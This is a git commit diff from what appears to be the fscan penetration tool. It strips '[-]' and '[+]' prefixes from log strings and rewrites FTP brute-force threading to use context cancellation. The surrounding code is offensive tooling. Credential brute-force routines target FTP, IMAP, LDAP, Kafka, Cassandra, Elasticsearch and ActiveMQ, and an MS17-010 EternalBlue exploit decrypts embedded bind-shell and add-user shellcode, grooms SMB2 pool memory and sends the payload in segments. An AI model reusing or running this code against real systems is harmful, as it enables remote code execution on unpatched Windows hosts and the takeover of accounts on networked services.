refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑

This commit is contained in:
ZacharyZcR
2025-01-01 05:24:49 +08:00
parent d13e1952e9
commit 277ea5d332
47 changed files with 879 additions and 867 deletions
+1 -1
View File
@@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
}
if err != nil {
errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
+6 -6
View File
@@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) {
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建加密块失败: %v", err)
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
@@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil {
return "", fmt.Errorf("[-] base64解码失败: %v", err)
return "", fmt.Errorf("base64解码失败: %v", err)
}
keyBytes := []byte(key)
@@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// 创建解密块
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("[-] 创建解密块失败: %v", err)
return "", fmt.Errorf("创建解密块失败: %v", err)
}
// 创建CBC解密模式
@@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// 去除填充
origData, err = PKCS7UnPadding(origData)
if err != nil {
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err)
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
}
return string(origData), nil
@@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte {
func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("[-] 数据长度为0")
return nil, errors.New("数据长度为0")
}
padding := int(data[length-1])
if padding > length {
return nil, errors.New("[-] 填充长度无效")
return nil, errors.New("填充长度无效")
}
return data[:length-padding], nil
+2 -2
View File
@@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error
}
}
result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port)
result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
+2 -2
View File
@@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
// 检查响应状态
if resp.StatusCode == 200 {
result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port)
result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
+61 -46
View File
@@ -1,6 +1,7 @@
package Plugins
import (
"context"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
@@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
maxRetries := Common.MaxRetries
threads := Common.BruteThreads
successChan := make(chan struct{}, 1)
defer close(successChan)
// 创建带取消功能的context
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// 先尝试匿名登录
for retryCount := 0; retryCount < maxRetries; retryCount++ {
@@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
if flag && err == nil {
return nil
}
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
Common.LogError(errlog)
if err != nil && !strings.Contains(err.Error(), "Login incorrect") {
@@ -40,36 +43,41 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
break
}
// 创建任务通道
taskChan := make(chan struct {
user string
pass string
}, len(Common.Userdict["ftp"])*len(Common.Passwords))
// 任务分发goroutine
go func() {
defer close(taskChan)
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
select {
case <-ctx.Done():
return
default:
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
}
}()
var wg sync.WaitGroup
resultChan := make(chan error, threads)
// 生成所有用户名密码组合任务
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
close(taskChan)
// 启动工作线程
var wg sync.WaitGroup
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for task := range taskChan {
// 检查是否已经成功
select {
case <-successChan:
case <-ctx.Done():
resultChan <- nil
return
default:
@@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 执行FTP连接
done := make(chan struct {
success bool
err error
})
}, 1)
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
go func(user, pass string) {
success, err := FtpConn(info, user, pass)
done <- struct {
select {
case <-connCtx.Done():
case done <- struct {
success bool
err error
}{success, err}
}{success, err}:
}
}(task.user, task.pass)
// 等待结果或超时
var err error
select {
case <-ctx.Done():
connCancel()
resultChan <- nil
return
case result := <-done:
err = result.err
if result.success && err == nil {
select {
case successChan <- struct{}{}:
successLog := fmt.Sprintf("[+] FTP %v:%v %v %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
default:
}
successLog := fmt.Sprintf("FTP %v:%v %v %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
time.Sleep(100 * time.Millisecond)
cancel() // 取消所有操作
resultChan <- nil
return
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
case <-connCtx.Done():
err = fmt.Errorf("连接超时")
}
// 处理错误情况
connCancel()
if err != nil {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
select {
case <-ctx.Done():
resultChan <- nil
return
default:
}
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
// 对于登录失败的错误,直接继续下一个
if strings.Contains(err.Error(), "Login incorrect") {
break
}
// 特别处理连接数过多的情况
if strings.Contains(err.Error(), "too many connections") {
time.Sleep(5 * time.Second)
if retryCount < maxRetries-1 {
continue // 继续重试
continue
}
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue // 继续下一个密码,而不是返回
continue
}
continue // 继续重试
continue
}
}
break // 如果不需要重试,跳出重试循环
break
}
}
resultChan <- nil
}()
}
// 等待所有线程完成
go func() {
wg.Wait()
close(resultChan)
}()
// 检查结果
for err := range resultChan {
if err != nil {
tmperr = err
// 对于超时错误也继续执行
if !strings.Contains(err.Error(), "扫描超时") {
if retryErr := Common.CheckErrs(err); retryErr != nil {
continue // 继续尝试,而不是返回
continue
}
}
}
@@ -189,7 +204,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
}
// 登录成功,获取目录信息
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
if err == nil && len(dirs) > 0 {
// 最多显示前6个目录
+9 -9
View File
@@ -27,30 +27,30 @@ func FindnetScan(info *Common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("[-] 连接RPC端口失败: %v", err)
return fmt.Errorf("连接RPC端口失败: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("[-] 设置超时失败: %v", err)
return fmt.Errorf("设置超时失败: %v", err)
}
if _, err = conn.Write(bufferV1); err != nil {
return fmt.Errorf("[-] 发送RPC请求1失败: %v", err)
return fmt.Errorf("发送RPC请求1失败: %v", err)
}
reply := make([]byte, 4096)
if _, err = conn.Read(reply); err != nil {
return fmt.Errorf("[-] 读取RPC响应1失败: %v", err)
return fmt.Errorf("读取RPC响应1失败: %v", err)
}
if _, err = conn.Write(bufferV2); err != nil {
return fmt.Errorf("[-] 发送RPC请求2失败: %v", err)
return fmt.Errorf("发送RPC请求2失败: %v", err)
}
n, err := conn.Read(reply)
if err != nil || n < 42 {
return fmt.Errorf("[-] 读取RPC响应2失败: %v", err)
return fmt.Errorf("读取RPC响应2失败: %v", err)
}
text := reply[42:]
@@ -64,7 +64,7 @@ func FindnetScan(info *Common.HostInfo) error {
}
if !found {
return fmt.Errorf("[-] 未找到有效的响应标记")
return fmt.Errorf("未找到有效的响应标记")
}
return read(text, info.Host)
@@ -195,7 +195,7 @@ func read(text []byte, host string) error {
// 输出IPv4地址
if len(ipv4Addrs) > 0 {
result += "\n [+] IPv4地址:"
result += "\n IPv4地址:"
for _, addr := range ipv4Addrs {
result += fmt.Sprintf("\n └─ %s", addr)
}
@@ -203,7 +203,7 @@ func read(text []byte, host string) error {
// 输出IPv6地址
if len(ipv6Addrs) > 0 {
result += "\n [+] IPv6地址:"
result += "\n IPv6地址:"
for _, addr := range ipv6Addrs {
result += fmt.Sprintf("\n └─ %s", addr)
}
+2 -2
View File
@@ -84,7 +84,7 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -175,7 +175,7 @@ func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass stri
}
if strings.Contains(response, "a001 OK") {
result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
result := fmt.Sprintf("IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v",
host, port, user, pass)
Common.LogSuccess(result)
return true, nil
+3 -3
View File
@@ -99,7 +99,7 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -164,7 +164,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
consumer, err := sarama.NewConsumer(brokers, config)
if err == nil {
defer consumer.Close()
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
@@ -178,7 +178,7 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
client, err := sarama.NewClient(brokers, config)
if err == nil {
defer client.Close()
result := fmt.Sprintf("[+] Kafka服务 %v:%v ", host, port)
result := fmt.Sprintf("Kafka服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
+2 -2
View File
@@ -90,7 +90,7 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -177,7 +177,7 @@ func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 记录成功结果
result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port)
result := fmt.Sprintf("LDAP服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
+63 -63
View File
@@ -26,7 +26,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密bind shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密bind shellcode失败: %v", info.Host, err))
return
}
@@ -40,7 +40,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密add shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密add shellcode失败: %v", info.Host, err))
return
}
@@ -50,7 +50,7 @@ func MS17010EXP(info *Common.HostInfo) {
var err error
sc, err = AesDecrypt(sc_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 解密guest shellcode失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 解密guest shellcode失败: %v", info.Host, err))
return
}
@@ -59,7 +59,7 @@ func MS17010EXP(info *Common.HostInfo) {
if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:])
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
Common.LogError(fmt.Sprintf("MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
return
}
sc = fmt.Sprintf("%x", read)
@@ -70,25 +70,25 @@ func MS17010EXP(info *Common.HostInfo) {
// 验证shellcode有效性
if len(sc) < 20 {
fmt.Println("[-] 无效的Shellcode")
fmt.Println("无效的Shellcode")
return
}
// 解码shellcode
sc1, err := hex.DecodeString(sc)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010 Shellcode解码失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010 Shellcode解码失败: %v", info.Host, err))
return
}
// 执行EternalBlue漏洞利用
err = eternalBlue(address, 12, 12, sc1)
if err != nil {
Common.LogError(fmt.Sprintf("[-] %s MS17-010漏洞利用失败: %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s MS17-010漏洞利用失败: %v", info.Host, err))
return
}
Common.LogSuccess(fmt.Sprintf("[*] %s\tMS17-010\t漏洞利用完成", info.Host))
Common.LogSuccess(fmt.Sprintf("%s\tMS17-010\t漏洞利用完成", info.Host))
}
// eternalBlue 执行EternalBlue漏洞利用
@@ -97,7 +97,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16长度
scLen := len(sc)
if scLen > maxscSize {
return fmt.Errorf("[-] Shellcode大小超出限制: %d > %d (超出 %d 字节)",
return fmt.Errorf("Shellcode大小超出限制: %d > %d (超出 %d 字节)",
scLen, maxscSize, scLen-maxscSize)
}
@@ -124,42 +124,42 @@ func exploit(address string, grooms int, payload []byte) error {
// 建立SMB1匿名IPC连接
header, conn, err := smb1AnonymousConnectIPC(address)
if err != nil {
return fmt.Errorf("[-] 建立SMB连接失败: %v", err)
return fmt.Errorf("建立SMB连接失败: %v", err)
}
defer func() { _ = conn.Close() }()
// 发送SMB1大缓冲区数据
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
return fmt.Errorf("设置读取超时失败: %v", err)
}
if err = smb1LargeBuffer(conn, header); err != nil {
return fmt.Errorf("[-] 发送大缓冲区失败: %v", err)
return fmt.Errorf("发送大缓冲区失败: %v", err)
}
// 初始化内存喷射线程
fhsConn, err := smb1FreeHole(address, true)
if err != nil {
return fmt.Errorf("[-] 初始化内存喷射失败: %v", err)
return fmt.Errorf("初始化内存喷射失败: %v", err)
}
defer func() { _ = fhsConn.Close() }()
// 第一轮内存喷射
groomConns, err := smb2Grooms(address, grooms)
if err != nil {
return fmt.Errorf("[-] 第一轮内存喷射失败: %v", err)
return fmt.Errorf("第一轮内存喷射失败: %v", err)
}
// 释放内存并执行第二轮喷射
fhfConn, err := smb1FreeHole(address, false)
if err != nil {
return fmt.Errorf("[-] 释放内存失败: %v", err)
return fmt.Errorf("释放内存失败: %v", err)
}
_ = fhsConn.Close()
// 执行第二轮内存喷射
groomConns2, err := smb2Grooms(address, 6)
if err != nil {
return fmt.Errorf("[-] 第二轮内存喷射失败: %v", err)
return fmt.Errorf("第二轮内存喷射失败: %v", err)
}
_ = fhfConn.Close()
@@ -173,42 +173,42 @@ func exploit(address string, grooms int, payload []byte) error {
// 发送最终漏洞利用数据包
if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil {
return fmt.Errorf("[-] 设置读取超时失败: %v", err)
return fmt.Errorf("设置读取超时失败: %v", err)
}
finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit")
if _, err = conn.Write(finalPacket); err != nil {
return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err)
return fmt.Errorf("发送漏洞利用数据包失败: %v", err)
}
// 获取响应并检查状态
raw, _, err := smb1GetResponse(conn)
if err != nil {
return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err)
return fmt.Errorf("获取漏洞利用响应失败: %v", err)
}
// 提取NT状态码
ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]}
Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus))
Common.LogSuccess(fmt.Sprintf("NT Status: 0x%08X", ntStatus))
// 发送payload
Common.LogSuccess("[*] 开始发送Payload")
Common.LogSuccess("开始发送Payload")
body := makeSMB2Body(payload)
// 分段发送payload
for _, conn := range groomConns {
if _, err = conn.Write(body[:2920]); err != nil {
return fmt.Errorf("[-] 发送Payload第一段失败: %v", err)
return fmt.Errorf("发送Payload第一段失败: %v", err)
}
}
for _, conn := range groomConns {
if _, err = conn.Write(body[2920:4073]); err != nil {
return fmt.Errorf("[-] 发送Payload第二段失败: %v", err)
return fmt.Errorf("发送Payload第二段失败: %v", err)
}
}
Common.LogSuccess("[+] Payload发送完成")
Common.LogSuccess("Payload发送完成")
return nil
}
@@ -236,7 +236,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err)
return nil, nil, fmt.Errorf("连接目标失败: %v", err)
}
// 连接状态标记
@@ -249,24 +249,24 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
// SMB协议协商
if err = smbClientNegotiate(conn); err != nil {
return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
return nil, nil, fmt.Errorf("SMB协议协商失败: %v", err)
}
// 匿名登录
raw, header, err := smb1AnonymousLogin(conn)
if err != nil {
return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err)
return nil, nil, fmt.Errorf("匿名登录失败: %v", err)
}
// 获取系统版本信息
if _, err = getOSName(raw); err != nil {
return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err)
return nil, nil, fmt.Errorf("获取系统信息失败: %v", err)
}
// 连接IPC共享
header, err = treeConnectAndX(conn, address, header.UserID)
if err != nil {
return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err)
return nil, nil, fmt.Errorf("连接IPC共享失败: %v", err)
}
ok = true
@@ -299,13 +299,13 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取NetBIOS会话服务头
buf := make([]byte, 4)
if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err)
return nil, nil, fmt.Errorf("读取NetBIOS会话服务头失败: %v", err)
}
// 校验消息类型
messageType := buf[0]
if messageType != 0x00 {
return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType)
return nil, nil, fmt.Errorf("无效的消息类型: 0x%02X", messageType)
}
// 解析消息体大小
@@ -316,14 +316,14 @@ func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
// 读取SMB消息体
buf = make([]byte, messageSize)
if _, err := io.ReadFull(conn, buf); err != nil {
return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err)
return nil, nil, fmt.Errorf("读取SMB消息体失败: %v", err)
}
// 解析SMB头部
header := smbHeader{}
reader := bytes.NewReader(buf[:smbHeaderSize])
if err := binary.Read(reader, binary.LittleEndian, &header); err != nil {
return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err)
return nil, nil, fmt.Errorf("解析SMB头部失败: %v", err)
}
return buf, &header, nil
@@ -335,27 +335,27 @@ func smbClientNegotiate(conn net.Conn) error {
// 构造NetBIOS会话服务头
if err := writeNetBIOSHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBHeader(&buf); err != nil {
return fmt.Errorf("[-] 构造SMB头失败: %v", err)
return fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造协议协商请求
if err := writeNegotiateRequest(&buf); err != nil {
return fmt.Errorf("[-] 构造协议协商请求失败: %v", err)
return fmt.Errorf("构造协议协商请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err)
return fmt.Errorf("发送协议协商数据包失败: %v", err)
}
// 获取响应
if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取协议协商响应失败: %v", err)
return fmt.Errorf("获取协议协商响应失败: %v", err)
}
return nil
@@ -428,22 +428,22 @@ func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
// 构造NetBIOS会话服务头
if err := writeNetBIOSLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return nil, nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBLoginHeader(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
return nil, nil, fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造会话设置请求
if err := writeSessionSetupRequest(&buf); err != nil {
return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err)
return nil, nil, fmt.Errorf("构造会话设置请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err)
return nil, nil, fmt.Errorf("发送登录数据包失败: %v", err)
}
// 获取响应
@@ -560,7 +560,7 @@ func getOSName(raw []byte) (string, error) {
char := make([]byte, 2)
for {
if _, err := io.ReadFull(reader, char); err != nil {
return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err)
return "", fmt.Errorf("读取操作系统名称失败: %v", err)
}
// 遇到结束符(0x00 0x00)时退出
@@ -590,17 +590,17 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
// 构造NetBIOS会话服务头
if err := writeNetBIOSTreeHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBTreeHeader(&buf, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
return nil, fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造树连接请求
if err := writeTreeConnectRequest(&buf, address); err != nil {
return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err)
return nil, fmt.Errorf("构造树连接请求失败: %v", err)
}
// 更新数据包大小
@@ -608,13 +608,13 @@ func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader,
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err)
return nil, fmt.Errorf("发送树连接请求失败: %v", err)
}
// 获取响应
_, header, err := smb1GetResponse(conn)
if err != nil {
return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err)
return nil, fmt.Errorf("获取树连接响应失败: %v", err)
}
return header, nil
@@ -682,7 +682,7 @@ func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
// IPC路径
host, _, err := net.SplitHostPort(address)
if err != nil {
return fmt.Errorf("[-] 解析地址失败: %v", err)
return fmt.Errorf("解析地址失败: %v", err)
}
_, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host)
@@ -707,7 +707,7 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送NT Trans请求获取事务头
transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID)
if err != nil {
return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
return fmt.Errorf("发送NT Trans请求失败: %v", err)
}
treeID := transHeader.TreeID
@@ -732,12 +732,12 @@ func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
// 发送组合数据包
if _, err := conn.Write(transPackets); err != nil {
return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err)
return fmt.Errorf("发送大缓冲区数据失败: %v", err)
}
// 获取响应
if _, _, err := smb1GetResponse(conn); err != nil {
return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err)
return fmt.Errorf("获取大缓冲区响应失败: %v", err)
}
return nil
@@ -749,28 +749,28 @@ func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) {
// 构造NetBIOS会话服务头
if err := writeNetBIOSNTTransHeader(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err)
return nil, fmt.Errorf("构造NetBIOS头失败: %v", err)
}
// 构造SMB协议头
if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil {
return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err)
return nil, fmt.Errorf("构造SMB头失败: %v", err)
}
// 构造NT Trans请求
if err := writeNTTransRequest(&buf); err != nil {
return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err)
return nil, fmt.Errorf("构造NT Trans请求失败: %v", err)
}
// 发送数据包
if _, err := buf.WriteTo(conn); err != nil {
return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err)
return nil, fmt.Errorf("发送NT Trans请求失败: %v", err)
}
// 获取响应
_, header, err := smb1GetResponse(conn)
if err != nil {
return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err)
return nil, fmt.Errorf("获取NT Trans响应失败: %v", err)
}
return header, nil
@@ -1099,7 +1099,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
return nil, fmt.Errorf("连接目标失败: %v", err)
}
// 连接状态标记
@@ -1112,7 +1112,7 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// SMB协议协商
if err = smbClientNegotiate(conn); err != nil {
return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err)
return nil, fmt.Errorf("SMB协议协商失败: %v", err)
}
// 根据开始/结束标志设置不同参数
@@ -1130,12 +1130,12 @@ func smb1FreeHole(address string, start bool) (net.Conn, error) {
// 构造并发送会话数据包
packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS)
if _, err = conn.Write(packet); err != nil {
return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err)
return nil, fmt.Errorf("发送内存释放会话数据包失败: %v", err)
}
// 获取响应
if _, _, err = smb1GetResponse(conn); err != nil {
return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err)
return nil, fmt.Errorf("获取会话响应失败: %v", err)
}
ok = true
@@ -1251,12 +1251,12 @@ func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
// 创建TCP连接
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
if err != nil {
return nil, fmt.Errorf("[-] 连接目标失败: %v", err)
return nil, fmt.Errorf("连接目标失败: %v", err)
}
// 发送SMB2头
if _, err = conn.Write(header); err != nil {
return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err)
return nil, fmt.Errorf("发送SMB2头失败: %v", err)
}
conns = append(conns, conn)
+74 -61
View File
@@ -3,10 +3,9 @@ package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"log"
"os"
"strings"
"time"
)
@@ -33,126 +32,133 @@ func init() {
